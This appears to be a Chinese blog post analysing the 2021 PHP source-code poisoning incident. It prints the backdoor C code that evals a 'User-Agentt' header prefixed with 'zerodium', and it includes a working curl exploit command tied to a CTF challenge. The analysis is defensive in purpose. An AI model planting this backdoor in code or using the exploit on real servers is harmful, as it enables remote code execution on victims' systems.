php代码投毒事件RCE

漏洞解析

出处

我们首先来看一下这段有问题的代码,出自这个commit

3.28日发生一起PHP源码投毒事件,疑似git.php.net服务器被攻破,黑客伪造官方人员的签名进行了两次后门代码的提交

image-20210403193117903

代码分析

在函数 php_zlib_output_compression_start 中,存在如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static void php_zlib_output_compression_start(void)
{
zval zoh;
php_output_handler *h;
zval *enc;

if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
convert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
} zend_end_try();
}
}

......
}

该段代码中,首先是对是否有这个 headers:HTTP_USER_AGENTT 进行了判断

enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1)

如果存在 HTTP_USER_AGENTT 这个 headers ,那么再判断该 headers 是否以字符串”zerodium”开头

strstr(Z_STRVAL_P(enc), "zerodium")

如果满足这两个条件,则执行 headers 中包含的代码(去除字符串 “zerodium”)

zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");

从堆栈看,当http请求发起后,调用各扩展的 PHP_RINIT_FUNCTION 函数,调用到了zlib扩展的函数,投毒代码就插到了此处。

因此,只要是 zlib 模块加载,无论需不需要压缩,都会有机会触发此后门。

漏洞利用

1
curl -H "User-Agentt: zerodiumsystem('cat /flag');" "index.php" --output out.txt

十分简单就可以利用。只需添加 User-Agentt ,即可执行任意代码,危害极大且难以被发现。

CTF题目

2021虎符网络安全web题

事件分析与反思

在此事件中,官方怀疑黑客攻陷了git.php.net服务器,以PHP作者的名义做了两次代码提交。

从提交代码上看,该提交作为后门隐蔽性极差,拥有简单的c语言知识即可发现是后门,在php这么活跃的一个开源项目中,不可能没人发现。

而代码中含有”zerodium”字符串,而zerodium是一个专门出售漏洞的网站,黑客大费周折放几句极易被发现的代码,恐怕别有用心。


php代码投毒事件RCE
https://qiuye.ink/pages/05c4c8/
作者
Akiba
发布于
2021年4月3日
许可协议